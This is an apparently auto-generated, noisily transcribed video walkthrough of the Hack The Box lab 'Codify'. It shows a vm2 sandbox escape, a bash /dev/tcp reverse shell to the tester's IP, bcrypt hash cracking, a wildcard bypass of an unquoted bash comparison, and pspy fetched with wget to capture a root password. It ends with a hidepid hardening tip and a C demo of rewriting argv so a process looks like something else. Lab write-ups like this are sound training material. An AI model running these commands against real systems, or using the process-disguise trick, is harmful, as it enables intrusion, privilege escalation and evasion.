text: what's going on YouTube this is IP I'm doing codify from hack the box which starts out with a web page that allows you to upload JavaScript to node.js code and have it run the server and give you output in order to try to do this securely the author used the vm2 library which is a Sandbox and prevents things like file system calls or os. exac however the project is discontinued and there's some known vulnerabilities for bypassing the sandbox so you can use that to get code execution on the box then once there you have to do a lateral movement step by looking at the data base cracking a hash and gaining access to a user and that user has the ability to run a bash script as pseudo and the bash script itself has a vulnerability and how it does the if then logic so you can bypass it by just using a wild card you could also Brute Force the password if you wanted to one character at a time

title: HackTheBox - Codify


text: and then from there it does a MySQL dump and you have to examine the password MySQL dump will mask the password but if you use P spy you can intercept it before and then we'll go into exactly how my SQL spoofs arguments so with that being said let's jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerate versions OA output all formats put in the end map directory and call it codify then the IP address of 10101 11239 this can take some time to run so I've already already ran it looking at the results we have just three ports open the first one being SSH on Port 22 and its Banner tells us it's an abunto server we also have a web server we have two web servers actually on Port 80 and 3000 the first one is on Apache and it's redirecting us over to codify htb so I'm

title: HackTheBox - Codify


text: going to go ahead and add this to my host file so let's do a pseudo VY host and then we can add 10 10 11 to39 codify htb and the second website is just a node website listing on Port 3000 so let's go take a look at both sites so I can do HTTP 10101 11239 redirect us to cy. htb so let's try taking a look at this on Port 3000 as well and we get the same exact website on both of these so I'm guessing um this is Apache just being a proxy pass to Port 3000 however I'm not 100% positive 3000 could be like a development version of the website that's running slightly different things so um just keep that in the back of the mind if this was uh engine X I may test for like an off by slash vulnerability thinking maybe the location didn't end in a trailing slash but being a patchy I don't think that's vulnerable so let's

title: HackTheBox - Codify


text: just go take a look at what this website is uh it says test your nodejs code easily this website allows you to test node.js in a sandbox if we go to try it now we can try uh console.log hello world and we can run that we could try getting files um I think it's like what is it require file system. read files sync I think this is it and then we want to say utf8 I think that's correct Java Script go run and we get module FS is not allowed so they have some type of filter in play that is preventing us from um escaping whatever sandbox it's running in so they're doing some type of security here so let's go back to the website to see um more about what it is and let's see it uses sandboxing technology to run the code it's executing a safe and secure environment it says there are some limitations so if we click here we can see the restricted modules is FS so

title: HackTheBox - Codify


text: we can't access the file system and child process they've weight listed these modules so it is potential that we could um use these modules to execute code uh but first I want to see if there's any way to identify exactly how they are doing the white list because I don't want to go do a bunch of research on each of these modules right it's possible that like in node.js if you gave it like a file colon SL slash it would treat that file like um or that URL like a local file like I think in Firefox if I do this right this is a URL but it shows the file I don't think that's the case with the URL module off top my head um but if we click around if we go to the about us it has an about a code editor and it says the vm2 library is widely used and trusted tool for sandboxing JavaScript and if we click over to this it brings us to a GitHub

title: HackTheBox - Codify


text: repository and going to the parent project um instead of the release we can see the project is discontinued and it's discontinued because it contains critical security issues it recommends using isolated VM instead so no longer really that trusted if we look at it that read me was updated let's see where is it 9 months ago so it looks like it's been decommissioned relatively recently if we go over in the known security issues we have a bunch created around July 2023 so if we go to the first one it's a Sandbox escape and they give a proof of concept so clicking over on the PO we have this code so let's just copy and paste and see what it does so I'm going to go back to codify let's try it now we can paste this and instead of touching pwned I just want to say um we'll do ID see if it can Echo the user so we go to

title: HackTheBox - Codify


text: run and we just get this object back that says it's a promise and in JavaScript promises or just something that promises to return something eventually um it's an asynchronous operation so we'd have to like put a then statement before this catch and do a bunch of fancy stuff to try to catch it and get the output it's a big um pain so instead of doing that I'm just going to look at the other escapes to see if any of them don't use promise so this one talking about the promise Handler uh this one let's see in sand box pacification of proxy does this have promise in it does not have promise so let's go to this p and run this uh sandbox Escape where is it here's the editor and there we go we have the output here so if I just do ID we can see the user so let's just try getting a reverse sh because I don't

title: HackTheBox - Codify


text: feel like living in this web browser so I'm going to do bash DC then single quote B- I Dev TCP 10 1048 Port 910 and one like that and then let's make sure our shell is listening so NCL lvmp 901 run this and we get a shell back awesome so let's just upgrade this so I have like tab auto complete so python 3- C UT PTY then PTY spawn uh Ben bash contrl Z s dty raw minus Echo FG enter enter and there we go I have a proper shell that I can um clear and I'm just confused because I have color I'm not used to seeing this um Echo term okay so it I automatically identified a terminal as t-o 256 color not exactly sure why it did this and most reverse shelves don't but hey I'm not going to complain so uh let's see what do we want to do first if we do PWD we are home SVC uh the main thing I want to see exactly how that Apache is working uh so let's go Etsy Apache 2 and

title: HackTheBox - Codify


text: then what is it sites enabled and we can look at the default and we see uh it's just a straight proxy pass to Lo um Local Host 3000 so I'm guessing there's no like development version of the website the Apache and Port 3000 is the same thing uh we can look at all the ports on the box and we see my SQL uh pm2 is running this is like the node way to run projects I but if I did like pm2 list we'd see all the workers for this right but uh let's see my SQL is a bit odd because I haven't seen like a login functionality anything that would require a database if we do PF d-forest I'm going to do l- capital S so it puts everything on one line I can go left right um my terminal size is a little bit off so this less looks a bit funny so let's go fix that I'm going to do st- a so I can see rows 28 columns 110 so if I just do stty rows 28 calls

title: HackTheBox - Codify


text: 110 now I do that same less command it looks a bit better so if I didn't do the- s right here where we have it going off the screen I wouldn't be able to hit the right arrow and see all the out um so let's see we see Docker I don't know what Docker is running it looks like it's just the mySQL database Let's see we have ver dubdub duub editor index.js so I'm guessing that's where the node application lives uh we have more this is our reverse shell and nothing really else there so let's see if I go and look at ver dubdub dub U there's a contact editor and HTML so if we go into editor this is the main website but if we go over to contact there is another site that I don't think is being used if we do ps- efgp on editor we can see all the workers there if we GP on contact uh we don't see anything so this website looks like it is no longer in use but there is

title: HackTheBox - Codify


text: a database so we have tickets. database so I'm going to do SQL light and then tickets db. dump so we can just dump the database and we see there is a user Joshua he has a b crypted hash right here for a password it looks like um and we see two tickets Tom Hanks says they need networking modules uh Joe Williams wants it to be run locally but let's just see if we can crack Joshua's password so I'm going to go over to the Kraken which is just a box on my local network that I use to crack hashes um I just don't like running hash can on my main PC as I record because it could lead to like Drop frames and things like that so I have a separate box for that uh let's do vhes SL codify dot I'm just going to call this bcrypt uh let's do slash cat um the file and then word list I'll just use rocku and let's see if it cracks it looks like we'll have to

title: HackTheBox - Codify


text: specify the actual mode because the autod detect failed I'm going to do 3200 because this is what the hash looks like um it could be a form camur e-commerce but uh just looking at like these files I don't think it's a main like form or something like that I don't even see like a do get directory or anything so let's just do- m 3200 because that's going to be the most common and it looks like we have started it's initializing the backend run time and then once this happens it will start the crack and we'll see if we get any results off of this so there we go it has started and already finished and we get the password as SpongeBob one so let's go ahead and test out that password so if I do su- Joshua type in SpongeBob one we get logged in and there is user. text um we could have also just sshed right there's nothing that stops us from doing SSH Joshua cy.

title: HackTheBox - Codify


text: htb and then putting in the password there and logging in this way so as Joshua let's see what we have bash histories to Dev null if we do pseudo- L we can see we can run the script my SQL backup so let's take a look at this so right off the bat we're going to set DB user to root and then we have the password it's going to catroot sl. creds so if we try to C this permission denied so the pseudo rule is what's allowing us to populate that field then we have the backup directory ver backups MySQL so let's go ver backups myquel uh permission denied okay and then then it's going to ask us to um read in the password so this is going to set uh whatever we type to be user pass then we have this if then Loop and this is actually going to be vulnerable because this user pass is on the right side of this and it's not

title: HackTheBox - Codify


text: quoted then we have a make dur it's going to um do my SQL and right here is the second vulnerability uh because we can see the processes by other users by just doing a ps- EF right and it's putting the MySQL password just on the command line so if we run APS as this command runs we'll be able to see this variable which is the contents of root. creds so that will get us that password and maybe that's also the root password we don't know yet but um let's just try that see CU it's either a root password or that allow us to log into the database and then we can poison it to do something else but I'm guessing that's going to be a password reuse I actually do not remember so let's talk about this yes um this is vulnerable because it's doing a I forget the word um let's see bash common Pitfall it's not like regx it's like

title: HackTheBox - Codify


text: a fuzzy comparison there we go this is the wiki I wanted if this actually loads hopefully the page loads it's going awfully slow I guess while it loads we can show this so let's do this V I'm going to call it p. sh b bash okay let's see how do we want to do this I'm just going to say if it's confirmed and we can say uh user pass is equal to one we'll just pass it to um the first argument and we'll say DB pass is equal to please subscribe so if I run this chod plus X pone let's see what happens so if I do pone Dosh Please Subscribe we have password confirmed let me just put this on the top if I do please subscribe to it doesn't work but it does have special character so if I do a question mark like that replaces any character right um this isn't going to work just because of how we did it this is actually kind of funny so if we wanted to put in some debugging we can say

title: HackTheBox - Codify


text: entered um like this so this will let us see um what we put in if I do the asteris it's saying end map because bash is actually reading this and it's a special character so it's grabbing the first directory it sees so if we wanted to use that we'd have to put it in single quotes um oddly enough when I do the echo it echoes this but I don't understand what's going there but it still processes it right so that's the vulnerability if this was in quotes then it's not going to work right and also if user pass is on the other side it's not going to work bash is a weird language so if we just go equals equals DB whoops DB pass and let's get rid of this right so that is the vulnerability um this never loaded I'm pretty sure this is the page I went to um let's see is this going to be like a commit of it yeah let's see is this

title: HackTheBox - Codify


text: here right here 34 oh this is redirecting us to that Wiki uh stop 34 period there we go pattern matching is what it calls it right so that is that vulnerability let us exploit this now so let's see if we do pseudo- L can say pseudo this put in any password it failed I'm going to put in a star and it runs so let's run t-o I'm going to hit my magic which is control B twice so it goes into my nested t-m session and then we can do a um for I in SEC let's run it 100 times do psf GP my SQL done I'm going to add a sleep for half a second okay so let's do pseudo- L SpongeBob one pseudo this going to enter star let's go up run this and then run this command and there we go and we can see uh my SQL is actually doing some type of filtering here like it's smart enough to say hey I don't want to Output this on um the standard out so it's

title: HackTheBox - Codify


text: going to censor this I want to say if we do PE by it's automatically not going to do that but we could also go in/ proc and on this PID and get it that way but I think PE bu is going to be the easier option let's just try that real quick um so let's do make D dub dub dub and then we can say CP opt piece by do I not have it here I guess I don't uh peie by GitHub let's go over to releases let's download it WG s mod we just have to stamp the web server okay let's do WG 10 10 14 8 8,000 P by 64 sod plus X run it then let's go here and there we go peace buy was able to capture the password so we have this as the password of my SQL let's do su- and we get rout awesome so that is the Box um that was a bit quick let's see if we can exactly remember um how we unmask that manually but not the end of the video I do want to talk about a little quick hardening tip and that is

title: HackTheBox - Codify


text: in Linux there is a hide proc flag that you can add to like FS tab that will hide the process of other users so if we just Google like H proc FS tab um go over to the Linux system hardening and it will tell us how we can set that um and normally you should reboot if you edit like FS tab you want to reboot for it to take effect but we could just remount slpr um right away so what this is going to do is kill the permissions for the Joshua user or any user to be able to go into another user's process I don't think it kills it for root because root can access everything but if we just do like a psf command we can see um what's running from every user on the box right there's no reason for us to know like lxd is running uh MySQL root is running this right we see all the processes so if we uh whoops I had clipboard that let's copy this nope there we go so if we remount

title: HackTheBox - Codify


text: slpr to have hide P ID equals 2 now the permissions are going to change on the slpr directory and we can only see things that we have started if we do lsla on slpr uh do we even see the pids we don't even see the PID like the directories here right we only see our directories so that is a really good thing to do just on Linux boxes if you want to prevent users from seeing processes by other users um let's see can root see anyone we do PF grap Josh yeah root can still see everyone's process so if we did that now we can exit out of that so I'm now I'm Joshua on this if I run Peace by again and we do this pseudo let's see okay we enter the password and we don't see anything because peace bu doesn't have permission to uh go into the myql process and look at the command line right so that is a good way to prevent

title: HackTheBox - Codify


text: some of those issues it's not bulletproof right the correct answer is just never pass the password as an argument because you don't know if that's being logged in the history file other places right but I do think it is good practice to remove the ability for users to see other users processes so now let's go just talk about exactly what my SQL is doing because a lot of people don't realize that you can just easily rewrite um the argument if you are the program so let's show that real quick um let's just make a directory demo I guess uh CD demo here okay so let's start the program um we just have to create a main function and we want to pass it um the arguments right when we pass argv like this I did not type A V there we go and let's see um what we want to do first is just print the PID so I'm just going to do a print F and then we can say p

title: HackTheBox - Codify


text: ID is equal to a number we can say say get PID like that close that off return zero and we need to just create a loop so all this four command is going to do is make me control C out of the program it's a hacky way to do like an infinite Loop so let's uh do it includes since we use print F we need string uh we need standard IO and the final one okay let's see can we compile this okay so if I execute it we see the P ID is 6985 I do a psf GP on 6985 we can see a.out right we could also do catpro 6985 scam D line and we see that but what this really is is just a memory address and the running program has the ability to overwrite what that is so essentially what my SQL is doing is it's looping through all the command line flags and looking for where um the password is passed and then it's changing that to be just um all X's

title: HackTheBox - Codify


text: right so in order to start this off we have to get where the pointer is so let us do a um care rv0 is equal to arv like that and all this is is going to be where um RV's location is so we can just say RV that's now a pointer rv0 like that so at this memory location is where a.out begins right that's what that's saying so what we want to do now is Loop through all the arguments so we can just say uh let's declare two variables the iterator and a length and we can say for i z because we start our uh the argument starts at zero and then we go until we're greater than the argument counter and every time we increment by one okay and now we just want to do print F argument and we'll say that's a string rvi like this I just want to make sure this works and we're getting the arguments right we have a do out there if we do uh

title: HackTheBox - Codify


text: please subscribe this is um argv Z arv1 right so we can overwrite or read each of these so it's just looking for where an argument is- P for the password and it goes to the next one and does what we're about to do so now that we have that um let's grab the length so we'll do uh the STL so we get the length of what the argument is and then let's just set it to be all zeros okay like that I think that is correct uh typo okay so what do you think is going to happen when we do a PF GP on 7030 there's nothing here it looks like it's all blank because we just rewrote everything to be null um if we go in proc 7030 and Cat CMD line again it looks blank but if we do an xxd we can see it's not really blank we just overwrote everything with a all bite and bass doesn't show that right um we could have done mem set and uh was it 42 let's see

title: HackTheBox - Codify


text: what happens here and then psf grap 7047 It's All Stars right and this is a.out and this is please subscribe so we have just um erased that right if you're curious if we go man aski search 42 uh let's see the star right here uh what format is that it is the decimal version right so if we wanted to put that as what my SQL did which was X's um that is 120 so if we replace this to be 120 ESF grap 7075 it's now all X's so the other thing we could also do is just change this to be whatever we want um let's say s tier copy rv0 and we're going to write um thank you for watching the video that's going to be the new argument um because I already know you subscribed after I asked you to right so let's run this again if we do a ps- EF GP 7086 uh because I wonder if it's because this is too long let's

title: HackTheBox - Codify


text: see EF I'm confused right now uh 7100 I thought I could overwrite RV that way let's know that out was I not saving it no I was okay I am screwing something up here oh I am I am an idiot this is where it's like breaking so we can't control C okay PF grap 7133 so we overwrote the first argument um um right thanks for watching the video okay and there we go we have completely overrode it and that's how you can make your program be like appear to be anything you want right so if we did psf um let's see we can probably make it look like this so let's say arv Z boom because I know most people when they see something that has like that looks like this and is a process they tend to ignore it right so PF grap 7157 uh we have it there there are some x's left over because this isn't long enough right we could fix that by just

title: HackTheBox - Codify


text: like making the X's nulls or um doing other things but you should get the um point of that right you could also just take a longer string right so this one then we'll overwrite those X's but that's all my sequals doing is when it boots up it is um going through all the arguments and doing a rewrite and Peace by is using I notify so it hooks / proc and whenever the file system creates a new directory because it creates a directory for um creating a new process it notifies PE by and PE by will immediately go look at CMD line so it's reading CMD line for my SQL can manage to overwrite it right so that is a somewhat stealthy way or I don't know if it's stealthy but a way you can just overwrite the argument and appear as something else so hope you guys enjoyed that tidbit take care and I will see you all next time

title: HackTheBox - Codify